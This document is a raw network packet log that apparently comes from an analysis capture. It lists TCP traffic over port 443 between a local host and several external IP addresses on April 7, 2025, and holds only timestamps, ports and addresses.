Apr 7, 2025 18:09:44.055355072 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.271024942 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:44.426168919 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.426340103 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.426817894 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.426826000 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.428998947 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.428998947 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.429016113 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.429032087 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.429121971 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.429152012 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.429229975 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.429244995 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.138997078 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.139067888 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.139075041 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.139127016 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.140145063 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.140160084 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.568026066 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.568094969 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:45.568124056 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.568171978 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.569313049 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:45.569330931 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.102962971 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.103039980 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.103157043 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.103490114 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.103499889 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.480499983 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.480613947 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.481173992 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.481188059 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483026028 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483032942 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483144045 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483164072 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483247995 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483267069 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483279943 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483289003 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483330011 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483345985 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483412981 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483422995 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483469963 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483481884 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483536005 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483545065 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483588934 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483597994 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483649969 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483659983 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483699083 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483707905 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483745098 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483753920 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483840942 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483853102 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:46.483869076 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:46.483875036 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:48.111124992 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:48.111202002 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:48.111334085 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:48.112719059 CEST	49698	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:48.112761974 CEST	443	49698	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:48.302922964 CEST	49678	443	192.168.2.7	20.189.173.15
Apr 7, 2025 18:09:48.614650965 CEST	49678	443	192.168.2.7	20.189.173.15
Apr 7, 2025 18:09:49.074609995 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:49.228276968 CEST	49678	443	192.168.2.7	20.189.173.15
Apr 7, 2025 18:09:49.368128061 CEST	49704	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.368175983 CEST	443	49704	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.368271112 CEST	49704	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.369641066 CEST	49704	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.369654894 CEST	443	49704	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.396409035 CEST	49706	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.396437883 CEST	443	49706	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.396492004 CEST	49706	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.396996021 CEST	49706	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.397010088 CEST	443	49706	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.467715979 CEST	49707	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.467781067 CEST	443	49707	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.467883110 CEST	49707	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.468333006 CEST	49707	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.468348980 CEST	443	49707	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.498096943 CEST	49708	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.498116970 CEST	443	49708	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.498173952 CEST	49708	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.498723030 CEST	49708	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.498738050 CEST	443	49708	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.523861885 CEST	49704	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.523899078 CEST	49706	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.523940086 CEST	49707	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.523974895 CEST	49708	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525067091 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525115967 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.525193930 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525362968 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525396109 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.525444984 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525487900 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525523901 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.525579929 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525698900 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.525707960 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.525824070 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.526108027 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.526128054 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.527089119 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.527115107 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.527303934 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.527328968 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.527554989 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.527569056 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.564282894 CEST	443	49706	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.564282894 CEST	443	49704	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.568274975 CEST	443	49707	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.568281889 CEST	443	49708	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.785748005 CEST	443	49704	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.785825014 CEST	49704	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.813338995 CEST	443	49706	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.813416958 CEST	49706	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.885288000 CEST	443	49707	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.885344028 CEST	49707	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.916440964 CEST	443	49708	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.916503906 CEST	49708	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.942112923 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.942598104 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.942609072 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.943196058 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.943686962 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.943749905 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.943825960 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.943837881 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.944885969 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.944953918 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.946351051 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.946424961 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.947050095 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.947072983 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.947143078 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.947438955 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.947809935 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.947833061 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.948050022 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.948060036 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.948473930 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.948481083 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.948609114 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.948617935 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.949270010 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.949332952 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.949574947 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.949687004 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.950093031 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.950179100 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.950843096 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.950932026 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.952542067 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.952555895 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.952733994 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.952739954 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:49.989675999 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:49.989676952 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.005312920 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.005378962 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.188774109 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.188956976 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.189018011 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.189096928 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.189152002 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.189253092 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.189301968 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.189316034 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.189424038 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.189433098 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.190431118 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.190499067 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.190509081 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.192090034 CEST	49712	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.192115068 CEST	443	49712	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.196609020 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.196654081 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.196666956 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.202650070 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.202697039 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.202708960 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.203802109 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.203855991 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.203921080 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.203932047 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.203979969 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.204016924 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.204103947 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.204111099 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.204194069 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.207782984 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.207851887 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.207937956 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.207978964 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.208003044 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.208013058 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.208029032 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.208034039 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.208067894 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.208089113 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.210427046 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.214828014 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.214878082 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.214898109 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.215374947 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.215456963 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.215465069 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.215529919 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.215641975 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.215660095 CEST	443	49715	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.215670109 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.215725899 CEST	49715	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.223843098 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.223968983 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.223987103 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.256411076 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.272026062 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.291161060 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.294953108 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.294980049 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.295084000 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.295099020 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.295485973 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.312380075 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.315748930 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.321224928 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.321248055 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.339164019 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.339220047 CEST	443	49713	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.339317083 CEST	49713	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.373164892 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.432784081 CEST	49678	443	192.168.2.7	20.189.173.15
Apr 7, 2025 18:09:50.438729048 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.438803911 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.438842058 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.438883066 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.438889027 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.438920975 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.438935995 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.438972950 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439012051 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439016104 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439030886 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439105988 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439121962 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439131021 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439174891 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439204931 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439213037 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439249039 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439254999 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439263105 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439312935 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439317942 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439330101 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.439380884 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.439388990 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.485224962 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.508857012 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.508965969 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509001017 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509018898 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509042025 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509092093 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509103060 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509113073 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509156942 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509166002 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509206057 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509244919 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509246111 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509268045 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509346962 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509376049 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509383917 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509422064 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509423971 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509437084 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509501934 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509506941 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509519100 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509572983 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509582996 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509617090 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509654999 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509695053 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509706020 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509716034 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509741068 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509774923 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509814024 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509831905 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509843111 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509881973 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509919882 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509928942 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509977102 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.509982109 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.509994984 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.510046005 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.510056973 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.515896082 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.515959978 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.515975952 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.519995928 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.520067930 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.520082951 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.573915005 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.658962011 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.660851955 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.660895109 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.660908937 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.660933971 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.660976887 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.661017895 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.661019087 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.661031961 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.661065102 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.708463907 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.708487988 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.721293926 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.721427917 CEST	49714	443	192.168.2.7	142.251.40.164
Apr 7, 2025 18:09:50.721448898 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.722399950 CEST	443	49714	142.251.40.164	192.168.2.7
Apr 7, 2025 18:09:50.722435951 CEST	443	49714	142.251.40.164	192.168.2.7
